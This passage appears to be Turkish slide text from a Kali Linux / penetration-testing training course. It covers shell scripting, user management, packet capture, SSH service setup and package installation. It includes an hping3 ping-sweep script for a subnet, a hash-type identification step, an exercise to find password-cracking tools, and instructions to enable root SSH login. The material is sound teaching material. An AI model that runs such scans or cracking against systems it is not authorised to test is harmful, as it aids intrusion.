  • 185. LINUX SHELL SCRIPTING #!/bin/bash echo "Lütfen taranacak subnet'in ilk 3 octet'ini giriniz ve [ENTER] tuşuna basınız (ör: 192.168.163)" read SUBNET function scan { local YANIT="0"; local IP=$1.$2; local ECHO="echo-0" hping3 $IP -c 1 -1 -C 8 >& aradosya.$IP # ECHO Request if grep "1 packets received" aradosya.$IP >& /dev/null; then if ! grep "Unreachable" aradosya.$IP >& /dev/null; then ECHO="echo-1" # paket ICMP Unreachable yanıtı değil fi fi echo $IP";"$ECHO rm aradosya.$IP } for i in `seq 1 254`; do scan $SUBNET $i done exit 0
  • 186. LINUX SHELL SCRIPTING Shell interpreter Comment Command Substitution
  • 187. LINUX SHELL SCRIPTING EGZERSİZ • 1-50 arasındaki rakamları konsola yazan bir shell script geliştiriniz ve çalıştırınız.
  • 191. LINUX KULLANICI YÖNETİMİ # hash-identifier aracı ile parola hash'inin türünün incelenmesi
  • 192. LINUX KULLANICI YÖNETİMİ # adduser komutu ile kullanıcı ekleme
  • 193. LINUX KULLANICI YÖNETİMİ Yeni oluşturulan btriskblog kullanıcısı ile sisteme giriş ve "su" komutu ile "root" kullanıcısına geçiş
  • 194. LINUX KULLANICI YÖNETİMİ "sudo" yetkisinin verildiği "/etc/sudoers" dosyası
  • 195. LINUX KULLANICI YÖNETİMİ "sudo" yetkisi kullanılarak kullanıcı ekleme
  • 196. LINUX KULLANICI YÖNETİMİ EGZERSİZ • Kali Linux bilgisayarınızın üzerinde öntanımlı olarak shell logon olabilecek kaç kullanıcı bulunmaktadır? • Shell logon olabilmek için gerekli kriterler nelerdir?
  • 197. LINUX AĞ TRAFİĞİ İZLEME "tcpdump" stdout'a yazdırma
  • 198. LINUX AĞ TRAFİĞİ İZLEME "tcpdump" filtreleme
  • 199. LINUX AĞ TRAFİĞİ İZLEME Wirehark filtreleme
  • 200. LINUX AĞ TRAFİĞİ İZLEME Wirehark TCP Stream
  • 201. LINUX AĞ TRAFİĞİ İZLEME EGZERSİZ • "tcpdump" ile kaydettiğiniz ağ trafik paketlerini "Wireshark" ile okuyarak inceleyiniz. "tcpdump" ile izleme yaparken bir web trafiği oluşturarak ağ paketlerinin oluşmasını sağlayabilirsiniz. İPUCU: "tcpdump"ın paketleri belli bir boyutta yakalaması ve bir dosyaya yazması için gerekli komut opsiyonlarını araştırınız. man dosyasından faydalanabileceğiniz gibi internetten de faydalanabilirsiniz.
  • 202. KALI LINUX SERVİS YÖNETİMİ Debian'da "init" dosyası "systemd" dosyasına linklenmiştir "init" scriptlerinin yerini "systemd" unitleri almıştır
  • 203. KALI LINUX SERVİS YÖNETİMİ Kali'de servis yönetimi için "systemctl" komutunu kullanabilirsiniz Bununla birlikte "init" script desteği ve "service ... start / stop" komutları ile servis yönetimi imkanı devam etmektedir
  • 204. KALI LINUX SERVİS YÖNETİMİ "root" kullanıcısı ile uzaktan "ssh" bağlantısı kurabilmek için yapılması gereken konfigürasyon ayarı
  • 205. KALI LINUX SERVİS YÖNETİMİ Putty ile uzaktan bağlantı
  • 206. KALI LINUX SERVİS YÖNETİMİ systemd service unit'lerine diğer örnekler
  • 207. KALI LINUX SERVİS YÖNETİMİ EGZERSİZ • Kali Linux bilgisayarınızda "root" kullanıcısının "ssh" logon yapabilmesi için gerekli ayarı yapınız ve "ssh" servisini aktif hale getiriniz. Windows host bilgisayarınıza "Putty" ssh client uygulamasını indiriniz ve bu aracı kullanarak Kali Linux'a "root" kullanıcısı ile "ssh" üzerinden bağlanınız. • "ssh" bağlantınızı Wireshark ile izleyiniz.
  • 208. LINUX UYGULAMA KURULUMU Kali'nin üzerinde gelen uygulama paketleri kaynak listesi Kali'nin diğer dağıtımlardan temel farklılıkları öntanımlı olarak bu listenin daraltılımış olmasıdır
  • 209. LINUX UYGULAMA KURULUMU apt (Advanced Package Tool) aracının bilgisayar üzerindeki paket bilgileri cache'ini güncellemek için herhangi bir kurulum veya güncelleme öncesinde "apt-get update" komutunu kullanınız.
  • 210. LINUX UYGULAMA KURULUMU apt paketleri cache dosyası örneği
  • 211. LINUX UYGULAMA KURULUMU apt ile uygulama kurmak için "apt-get install ... " Komutunu kullanınız Kali apache2 paketinin otomatik olarak kurulması ve başlatılmasını engelledi
  • 212. LINUX UYGULAMA KURULUMU Sistem üzerinde kurulu paketleri incelemek için "dpkg -list ... " "apt" ve diğer paket yönetim araçları arka planda "dpkg" komutunu kullanmaktadırlar
  • 213. LINUX UYGULAMA KURULUMU Kaynak kod'dan uygulama kurulumu Kali üzerinde C kodlarının derlenmesi için gerekli olan "build-essential" paketi kurulu olarak gelmektedir
  • 214. LINUX UYGULAMA KURULUMU Kaynak kod'dan uygulama kurulumu "configure" komutu ile C makefile'ı oluşturulur
  • 215. LINUX UYGULAMA KURULUMU Kaynak kod'dan uygulama kurulumu "make" komutu ile C uygulaması derlenir
  • 216. LINUX UYGULAMA KURULUMU Kaynak kod'dan uygulama kurulumu "make install" komutu ile derlenmiş uygulama nesne dosyaları Linux'ta uygun dizinlere yerleştirilir
  • 217. LINUX UYGULAMA KURULUMU EGZERSİZ • Kali'nin resource'ları arasında bulunan ve parola kırma amacıyla kullanılabilecek uygulamaları araştırınız. İPUCU: "apt-get update" komutuyla uygulama paketleri cache'inizi tazeleyin ve sonrasında "apt-cache search" komutunun man page'inden faydalanarak arama yapınız.
  • 218. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "cat" komutu Adı "concatenate" kelimesinden gelir, dosyaları birleştirmek için pratik bir komuttur, ancak tek bir dosya içeriğini incelemek için de kullanılabilir
  • 219. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "vi" komutu Çok sayıda tuş komutunu ezberlemeniz gerekir ESC + "i" karakteri ile "input" moda geçebilirsiniz ESC + ":" karakteri ile "komut" muduna geçebilirsiniz
  • 220. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "nano" editörü Linux'la yeni tanışanlar için daha "vi"a nazaran daha iyi bir alternatif diyebiliriz
  • 221. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "head" komutu
  • 222. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "tail" komutu "-f" opsiyonu ile sürekli güncelleme yapar, bu nedenle özellikle log dosyalarını izlemek için tercih edilir